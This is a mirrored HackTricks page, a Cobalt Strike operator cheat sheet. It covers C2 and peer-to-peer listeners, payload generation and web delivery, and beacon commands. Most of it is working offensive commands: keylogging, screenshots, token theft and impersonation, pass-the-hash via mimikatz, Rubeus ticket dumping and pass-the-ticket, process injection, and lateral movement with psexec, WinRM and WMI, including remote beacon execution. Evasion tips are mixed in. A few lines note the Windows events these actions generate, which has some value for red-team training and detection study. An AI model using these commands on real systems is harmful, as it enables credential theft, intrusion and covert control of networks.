mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-25 22:20:43 +00:00
136 lines
6.7 KiB
Markdown
136 lines
6.7 KiB
Markdown
# Cobalt Strike
|
||
|
||
### Listeners
|
||
|
||
### C2 Listeners
|
||
|
||
`Cobalt Strike -> Listeners -> Add/Edit` then you can select where to listen, which kind of beacon to use (http, dns, smb...) and more.
|
||
|
||
### Peer2Peer Listeners
|
||
|
||
The beacons of these listeners don't need to talk to the C2 directly, they can communicate to it through other beacons.
|
||
|
||
`Cobalt Strike -> Listeners -> Add/Edit` then you need to select the TCP or SMB beacons
|
||
|
||
* The **TCP beacon will set a listener in the port selected**. To connect to a TCP beacon use the command `connect <ip> <port>` from another beacon
|
||
* The **smb beacon will listen in a pipename with the selected name**. To connect to a SMB beacon you need to use the command `link [target] [pipe]`.
|
||
|
||
### Generate & Host payloads
|
||
|
||
#### Generate payloads in files
|
||
|
||
`Attacks -> Packages ->` 
|
||
|
||
* **`HTMLApplication`** for HTA files
|
||
* **`MS Office Macro`** for an office document with a macro
|
||
* **`Windows Executable`** for a .exe, .dll orr service .exe
|
||
* **`Windows Executable (S)`** for a **stageless** .exe, .dll or service .exe (better stageless than staged, less IoCs)
|
||
|
||
#### Generate & Host payloads
|
||
|
||
`Attacks -> Web Drive-by -> Scripted Web Delivery (S)` This will generate a script/executable to download the beacon from cobalt strike in formats such as: bitsadmin, exe, powershell and python
|
||
|
||
#### Host Payloads
|
||
|
||
If you already has the file you want to host in a web sever just go to `Attacks -> Web Drive-by -> Host File` and select the file to host and web server config.
|
||
|
||
### Beacon Options
|
||
|
||
<pre class="language-bash"><code class="lang-bash"># Execute local .NET binary
|
||
execute-assembly </path/to/executable.exe>
|
||
|
||
# Screenshots
|
||
printscreen # Take a single screenshot via PrintScr method
|
||
screenshot # Take a single screenshot
|
||
screenwatch # Take periodic screenshots of desktop
|
||
## Go to View -> Screenshots to see them
|
||
|
||
# keylogger
|
||
keylogger [pid] [x86|x64]
|
||
## View > Keystrokes to see the keys pressed
|
||
|
||
# Powershell
|
||
# Import Powershell module
|
||
powershell-import C:\path\to\PowerView.ps1
|
||
powershell just write powershell cmd here
|
||
|
||
# User impersonation
|
||
## Token generation with creds
|
||
make_token [DOMAIN\user] [password] #Create token to impersonate a user in the network
|
||
ls \\computer_name\c$ # Try to use generated token to access C$ in a computer
|
||
rev2self # Stop using token generated with make_token
|
||
## The use of make_token generates event 4624: An account was successfully logged on. This event is very common in a Windows domain, but can be narrowed down by filtering on the Logon Type. As mentioned above, it uses LOGON32_LOGON_NEW_CREDENTIALS which is type 9.
|
||
|
||
|
||
## Steal token from pid
|
||
## Like make_token but stealing the token from a process
|
||
steal_token [pid] # Also, this is useful for network actions, not local actions
|
||
## From the API documentation we know that this logon type "allows the caller to clone its current token". This is why the Beacon output says Impersonated <current_username> - it's impersonating our own cloned token.
|
||
ls \\computer_name\c$ # Try to use generated token to access C$ in a computer
|
||
rev2self # Stop using token from steal_token
|
||
|
||
## Launch process with nwe credentials
|
||
spawnas [domain\username] [password] [listener] #Do it from a directory with read access like: cd C:\
|
||
## Like make_token, this will generate Windows event 4624: An account was successfully logged on but with a logon type of 2 (LOGON32_LOGON_INTERACTIVE). It will detail the calling user (TargetUserName) and the impersonated user (TargetOutboundUserName).
|
||
|
||
## Inject into process
|
||
inject [pid] [x64|x86] [listener]
|
||
## From an OpSec point of view: Don't perform cross-platform injection unless you really have to (e.g. x86 -> x64 or x64 -> x86).
|
||
|
||
## Pass the hash
|
||
## This modification process requires patching of LSASS memory which is a high-risk action, requires local admin privileges and not all that viable if Protected Process Light (PPL) is enabled.
|
||
pth [pid] [arch] [DOMAIN\user] [NTLM hash]
|
||
pth [DOMAIN\user] [NTLM hash]
|
||
|
||
## Pass the hash through mimikatz
|
||
mimikatz sekurlsa::pth /user:<username> /domain:<DOMAIN> /ntlm:<NTLM HASH> /run:"powershell -w hidden"
|
||
## Withuot /run, mimikatz spawn a cmd.exe, if you are running as a user with Desktop, he will see the shell (if you are running as SYSTEM you are good to go)
|
||
steal_token <pid> #Steal token from process created by mimikatz
|
||
|
||
## Pass the ticket
|
||
## Request a ticket
|
||
execute-assembly C:\path\Rubeus.exe asktgt /user:<username> /domain:<domain> /aes256:<aes_keys> /nowrap /opsec
|
||
## Create a new logon session to use with the new ticket (to not overwrite the compromised one)
|
||
make_token <domain>\<username> DummyPass
|
||
## Write the ticket in the attacker machine from a poweshell session & load it
|
||
[System.IO.File]::WriteAllBytes("C:\Users\Administrator\Desktop\jkingTGT.kirbi", [System.Convert]::FromBase64String("[...ticket...]"))
|
||
kerberos_ticket_use C:\Users\Administrator\Desktop\jkingTGT.kirbi
|
||
|
||
## Pass the ticket from SYSTEM
|
||
## Generate a new process with the ticket
|
||
execute-assembly C:\path\Rubeus.exe asktgt /user:<USERNAME> /domain:<DOMAIN> /aes256:<AES KEY> /nowrap /opsec /createnetonly:C:\Windows\System32\cmd.exe
|
||
## Steal the token from that process
|
||
steal_token <pid>
|
||
|
||
## Extract ticket + Pass the ticket
|
||
### List tickets
|
||
execute-assembly C:\path\Rubeus.exe triage
|
||
### Dump insteresting ticket by luid
|
||
execute-assembly C:\path\Rubeus.exe dump /service:krbtgt /luid:<luid> /nowrap
|
||
### Create new logon session, note luid and processid
|
||
execute-assembly C:\path\Rubeus.exe createnetonly /program:C:\Windows\System32\cmd.exe
|
||
### Insert ticket in generate logon session
|
||
execute-assembly C:\path\Rubeus.exe ptt /luid:0x92a8c /ticket:[...base64-ticket...]
|
||
### Finally, steal the token from that new process
|
||
steal_token <pid>
|
||
|
||
# Lateral Movement
|
||
## If a token was created it will be used
|
||
jump [method] [target] [listener]
|
||
## Methods:
|
||
## psexec x86 Use a service to run a Service EXE artifact
|
||
## psexec64 x64 Use a service to run a Service EXE artifact
|
||
## psexec_psh x86 Use a service to run a PowerShell one-liner
|
||
## winrm x86 Run a PowerShell script via WinRM
|
||
## winrm64 x64 Run a PowerShell script via WinRM
|
||
|
||
remote-exec [method] [target] [command]
|
||
## Methods:
|
||
<strong>## psexec Remote execute via Service Control Manager
|
||
</strong>## winrm Remote execute via WinRM (PowerShell)
|
||
## wmi Remote execute via WMI
|
||
|
||
## To execute a beacon with wmi (it isn't ins the jump command) just upload the beacon and execute it
|
||
beacon> upload C:\Payloads\beacon-smb.exe
|
||
beacon> remote-exec wmi srv-1 C:\Windows\beacon-smb.exe
|
||
</code></pre>
|